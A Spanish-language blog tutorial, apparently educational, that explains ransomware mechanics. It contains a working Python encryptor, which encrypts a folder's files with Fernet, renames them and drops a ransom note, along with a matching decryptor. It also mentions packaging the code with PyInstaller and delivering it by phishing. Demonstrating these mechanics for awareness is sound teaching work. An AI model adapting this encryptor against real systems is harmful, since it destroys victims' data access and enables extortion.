Entendiendo como cifra y descifra un Ransomware con Python

Una de las mayores amenazas a las que se exponen usuarios y empresas en sus equipos informáticos es la denominada Ramsomware, la cual cifra los archivos del disco solicitando un rescate para su descifrado. La ejecución de esta amenaza puede aprovechar cualquier vulnerabilidad un sistema o programa, o simplemente haciendo que el usuario ejecute un archivo que contenga el programa de cifrado, por ejemplo, enviándole un Phishing.

Existen proyectos en donde se publican como solucionar la catástrofe que algunos de estos Malwares provocan, orientando al usuario final en qué herramientas utilizar para el descifrado de archivos. Un ejemplo lo tenemos con la página de nomoreransom.org.

Es importante entender cómo funciona el mecanismo de cifrado para comprender la amenaza a la que estamos expuestos, utilizando el lenguaje Python. En esto se basa la presente entrada, aunque existen otros métodos y lenguajes para conseguir materializar la amenaza.

Esta entrada ha sido creada únicamente con fines educativos y no para el uso malintencionado o delictivo de su información. Es responsabilidad del lector hacer buen uso de esta información.


Entorno

El entorno en donde vamos a simular como funciona un Ramsomware contiene:

  • Archivo de cifrado (test_encrypt.py).
  • Archivo de descifrado (test_decrypt.py).
  • Directorio con tres archivos (test_files):
    • Un arvhivo de texto (.txt).
    • Un archivo de imagen (.jpg).
    • Un archivo comprimido (.7z).
  • Directorio de backup con los archivos anteriores (orig_files).

ADVERTENCIA, Utiliza archivos que no sean importantes o de pruebas, o incluso que sean una copia de otros archivos originales, ya que es posible que durante las pruebas tengas que recuperar estos para empezar desde el comienzo.

Es recomendable que hagamos uso de un entorno virtual de Python para instalar los paquetes necesarios y ejecutar los comandos aislado del sistema. Para ello te dejo la entrada en donde explico como crear estos entornos aquí.


Instalar librería Cryptography

Dentro de nuestro entorno de Python debemos de instalar la librería cryptography:

pip install cryptography

Más información en su página oficial o en su página de PyPi.


Programa de cifrado

A continuación os muestro el programa de cifrado junto con los comentarios en donde se explica en detalle lo que se ejecuta paso por paso:

from cryptography.fernet import Fernet
import os


# Extensión para los archivos encriptados.
extension = 'tiraquelibras'


# Función para generar la clave de cifrado y almacenada en un archivo en el directorio local.
def generar_key():
    key = Fernet.generate_key()
    with open('key.key', 'wb') as key_file:
        key_file.write(key)


# Función para obtener la clave de cifrado del archivo local.
def cargar_key():
    return open('key.key', 'rb').read()


# Función para encriptar los archivos y su renombramiento con la extensión personalizada.
def encrypt(items, key):
    f = Fernet(key)
    for item in items:
        with open(item, 'rb') as file:
            file_data = file.read()

        encrypted_data = f.encrypt(file_data)

        with open(item, 'wb') as file:
            file.write(encrypted_data)

        os.rename(item, item + '.' + extension)


if __name__ == '__main__':

    try:
        # Directorio que vamos a cifrar.
        path_to_encrypt = 'C:\\Users\\xxxxxx\\Documents\\Python Scripts\\Ransomware\\test_files\\'

        # Obtenemos los archivos del directorio a cifrar  los guardamos en una lista.
        items = os.listdir(path_to_encrypt)
        full_path = [path_to_encrypt + '\\' + item for item in items]

        # Generación la clave de cifrado y se almacena en una variable.
        generar_key()
        key = cargar_key()

        # Encriptación de los archivos listados.
        encrypt(full_path, key)

        # Mensaje para pedir el rescate guardado en el equipo atacado, normalmente en el escritorio.
        with open( path_to_encrypt + '\\README.txt', 'w') as file:
            file.write('Ficheros encriptados.\nSe suele pedir un rescate para el desencriptado.')

    except Exception as e:
        print(e)

El programa consta de:

  • Extensión personalizada para renombrar cada archivo cifrado (variable extension).
  • Fuciones:
    • generar_key: generar la contraseña de cifrado.
    • cargar_key: obtener la contraseña de cifrado.
    • encrypt: encriptar y renombrar cada archivo cifrado.
  • Programa:
    • Primero indicamos el directorio en donde se encuentran los archivos a cifrar (variable path_to_encrypt).
    • Listamos los archivos a cifrar y los guardamos en una lista (variables items y full_path).
    • Generamos la contraseña de cifrado y la guardamos en una variable (variable key).
    • Ciframos los archivos y los renombramos.
    • Creamos el típico archivo de texto solicitando el rescate.

Ejecutando este programa los archivos quedarían cifrados, no pudiendo ser abiertos ni eliminando la extensión agregada personalizada:


Programa de descrifrado

A continuación os muestro el programa de descifrado junto con los comentarios en donde se explica en detalle lo que se ejecuta paso por paso:

from cryptography.fernet import Fernet
import os


# Extensión para los archivos encriptados.
extension = 'tiraquelibras'


# Función para obtener la contraseña utiliada en el cifrado de los archivos, y almacenada en un archivo en la máquina atacada.
def cargar_key():
    return open('key.key', 'rb').read()


# Función para descifrar los archivos afectados y elimionación de la extensión agregada durante el cifrado.
def decrypt(items, key):
    f = Fernet(key)
    for item in items:
        if item.endswith(extension):

            item_orig = item.rsplit('.', 1)[0]
            print(item)
            os.rename(item, item_orig)
            item = item_orig

            with open(item, 'rb') as file:
                encrypted_data = file.read()

            decrypted_data = f.decrypt(encrypted_data)

            with open(item, 'wb') as file:
                file.write(decrypted_data)

        else:
            print('Error decrypting "%s"' %str(item))


if __name__ == '__main__':

    try:

        # Directorio que vamos a cifrar.
        path_to_decrypt = 'C:\\Users\\xxxxxx\\Documents\\Python Scripts\\Ransomware\\test_files\\'

        # Eliminamos el archivo típico con el mensaje solicitando el rescate.
        os.remove(path_to_decrypt + '\\README.txt')

        # Obtener los archvios del directorio para su descifrado y se guarda en una lista.
        items = os.listdir(path_to_decrypt)
        full_path = [path_to_decrypt + '\\' + item for item in items]

        # Obtener la contraseña utiliada para el cifrado.
        key = cargar_key()

        # Desciframos los archivos afectados.
        decrypt(full_path, key)

    except Exception as e:
        print(e)

El programa consta de:

  • Extensión personalizada para renombrar cada archivo cifrado (variable extension).
  • Fuciones:
    • cargar_key: obtener la contraseña de cifrado.
    • decrypt: encriptar y renombrar cada archivo cifrado.
  • Programa:
    • Primero indicamos el directorio en donde se encuentran los archivos a cifrar (variable path_to_decrypt).
    • Eliminamos el mensaje con el rescate generado durante el cifrado.
    • Listamos los archivos a descifrar y los guardamos en una lista (variables items y full_path).
    • Obtenemos la contraseña utilizada para el cifrado de los archivos y lo guardamos en una variable (variable key).
    • Desciframos los archivos y los renombramos, eliminando la extensión agregada.

En estos momentos los archivos ya estarían descifrados y accesibles:


Conclusiones

Es tremendamente sencillo cifrar los archivos de un disco ejecutando un simple programa como el que acabamos de ver, bien aprovechando una vulnerabilidad dentro del equipo atacado o haciendo que el usuario ejecute un programa, enviándole un Phishing por ejemplo.

No es necesario tener instalado Python en el equipo atacado, ya que se puede generar un archivo ejecutable .exe con librerías como PyInstaller.

Es muy importante que dentro de la cultura de los usuarios conectados a Internet se encuentren conceptos y políticas de Ciberseguridad para evitar que este tipo de amenazas lleguen a materializarse.


Enlaces

Video relacionado en el canal de Errodringer.

Página oficial nomoreramsom.

Cryptography oficial.

Cryptography PyPi.